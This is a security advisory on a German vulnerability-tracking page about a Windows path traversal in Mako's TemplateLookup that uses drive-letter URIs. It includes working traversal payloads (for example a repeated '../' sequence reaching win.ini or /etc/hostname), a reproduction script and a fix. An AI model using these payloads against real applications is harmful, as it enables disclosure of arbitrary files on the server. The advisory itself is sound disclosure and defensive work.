Mittel

Mako: Path traversal via drive-letter URI on Windows in TemplateLookup

  • Veröffentlicht: 05.10.2026
  • Aktualisiert: 15.10.2026 18:17

Summary

On Windows, a TemplateLookup URI beginning with a drive designator (e.g. C:/../../secret.txt or C:\..\..\secret.txt) bypasses the directory traversal check in Template.__init__, allowing reads of files outside the configured template directory.

This is a third, independent instance of the root cause behind CVE-2026-41205 (the // prefix) and CVE-2026-44307 (the backslash form). Both of those fixes normalized a separator spelling. Neither addressed the other way posixpath and ntpath disagree: the drive designator. Both prior fixes remain effective on their own terms; this variant survives them for an independent reason.

Details

The root cause is the same posixpath / os.path mismatch: resolution is done with posixpath, confinement is checked with os.path, which is ntpath on Windows.

# mako/lookup.py -- resolution
247:  srcfile = posixpath.normpath(posixpath.join(dir_, u))   # posixpath, always
248:  if os.path.isfile(srcfile):                             # ntpath on Windows

# mako/template.py -- confinement
268:  u_norm = os.path.normpath(u_norm)                       # ntpath on Windows
269:  if u_norm.startswith(".."):                             # never true for a drive URI

posixpath has no concept of a drive, so it treats C: as an ordinary path component; the .. segments pop C: and then escape the template root. ntpath, by contrast, splits the drive off and treats the remainder as rooted, discarding the .. entirely -- so the guard on line 269 inspects a string from which the evidence has already been removed:

URI ntpath.normpath (what the guard sees) guard fires
//../secret.txt ..\secret.txt yes
\..\secret.txt ..\secret.txt yes
C:/../../secret.txt C:\secret.txt no

Because the guard cannot fire for any URI beginning with a single-letter drive designator, the traversal is unconstrained, and its depth does not have to be guessed. posixpath.normpath() saturates excess .. segments at the root rather than erroring, so a URI carrying more .. than the template root is deep reaches the volume root and descends from there. A single fixed payload therefore works regardless of where the template directory sits:

template root = <base>/srv/app/templates

'C:/../../../../boot.ini'          -> reads <base>/boot.ini
'C:/' + '../'*40 + 'etc/hostname'  -> reads /etc/hostname   (no depth guess)
'C:/../../../../../etc/hostname'   -> TopLevelLookupException (wrong depth)

On Windows the equivalent is C:/../../../../../../../../Windows/win.ini, which reads that file for any template root depth. Only a target addressed relative to the template root needs the .. count to be exact; anything reachable from the volume root does not.

Affected code

  • mako/template.py: Template.__init__() URI validation uses os.path.normpath(), which on Windows strips the drive and discards the .. segments before the startswith("..") guard is applied.
  • mako/lookup.py: TemplateLookup.get_template() resolves with posixpath.normpath/posixpath.join, where C: is an ordinary component, then performs the existence check with os.path.isfile().

Reproduction

Windows is emulated with the technique already used by the project's own test suite (test/test_template.py:1398-1401):

python
import os, ntpath
os.path = ntpath

from mako.lookup import TemplateLookup
lookup = TemplateLookup(directories=["root/tpl"])

for uri in ["ok.html",
            "//../../secret.txt",
            "\\..\\..\\secret.txt",
            "../../secret.txt",
            "C:/../../../secret.txt",
            "C:\\..\\..\\..\\secret.txt",
            "d:/../../../secret.txt"]:
    try:
        t = lookup.get_template(uri)
        print(repr(uri), "-> filename=", t.filename, repr(t.render()))
    except Exception as e:
        print(repr(uri), "-> REFUSED", type(e).__name__)

Against 1.4.1, with a sentinel file written outside the configured directory:

'ok.html'                    -> root/tpl/ok.html        'OK'         (positive control)
'//../../secret.txt'         -> REFUSED   (CVE-2026-41205 fix works)
'\..\..\secret.txt'          -> REFUSED   (CVE-2026-44307 fix works)
'../../secret.txt'           -> REFUSED
'C:/../../../secret.txt'     -> reads the sentinel
'C:\..\..\..\secret.txt'     -> reads the sentinel
'd:/../../../secret.txt'     -> reads the sentinel

On POSIX the same URIs are refused, because posixpath.normpath keeps C: as an ordinary component and the .. survive to be inspected. The issue is Windows-only.

Note that d:/../../../secret.txt resolves relative to the template root, not to drive D: -- this is not a cross-drive read. Reaching another drive would require a leading .., which ntpath.normpath renders as ..\..\D:\x and the existing guard catches.

Impact

If an application on Windows passes user-controlled template names or include paths to TemplateLookup.get_template(), an attacker may load and disclose any file readable by the application process on the same volume as the template directory, not merely files adjacent to it. The primary impact is local file disclosure. If the targeted file contains Mako/Python template syntax, it may also be parsed and executed as a template.

As with CVE-2026-41205, the URI is not generally reachable through a raw URL path, since a conforming URL normalizer collapses C:/../.. first. The relevant vectors are query strings, form and JSON bodies, route parameters, and <%include file="${...}"/>.

Remediation

Normalize both sides with the same module. The resolution side already commits to posixpath, so the confinement check should as well:

python
u_norm = posixpath.normpath(self.uri.replace("\\", "/").lstrip("/"))
if u_norm.startswith(".."):
    raise exceptions.TemplateLookupException(...)

This closes the drive case for the same reason it closes //: posixpath treats C: as an ordinary component, so the .. segments survive to be inspected. Verified to block all three drive forms with the full test suite passing.

Credit

Reported by Eurico Nicacio under coordinated disclosure.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) mako < 1.4.2 1.4.2

Verweise

CVSS-Wert 6.5/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N
Schwäche (CWE)
CWE-22
Plattform
Python (PyPI)
Paket
mako
Veröffentlicht
05.10.2026
Aktualisiert
15.10.2026 18:17

Quellen und Lizenzen

OSV / GitHub Advisory Database - PYSEC-2026-4243 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-5639-2j2p-m4mx - CC BY 4.0

Schwachstellenhistorie: mako

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Einträge insgesamt
5
Erste → letzte
07.2010 10.2026
Ohne Fix
0
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Hoch 3
  • Mittel 2

Veröffentlichungen pro Jahr

  1. 2017: 0
  2. 2018: 0
  3. 2019: 0
  4. 2020: 0
  5. 2021: 0
  6. 2022: 1
  7. 2023: 0
  8. 2024: 0
  9. 2025: 0
  10. 2026: 3

früher: 1

  1. Mako: Path traversal via drive-letter URI on Windows in TemplateLookup dieser Eintrag
    Mittel · 6.5 CVE-2026-102991 < 1.4.2 1.4.2
  2. Hoch · 7.5 CVE-2026-41205 < 1.3.11 1.3.11
  3. Hoch · 7.5 CVE-2022-40023 < 1.2.2 1.2.2

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.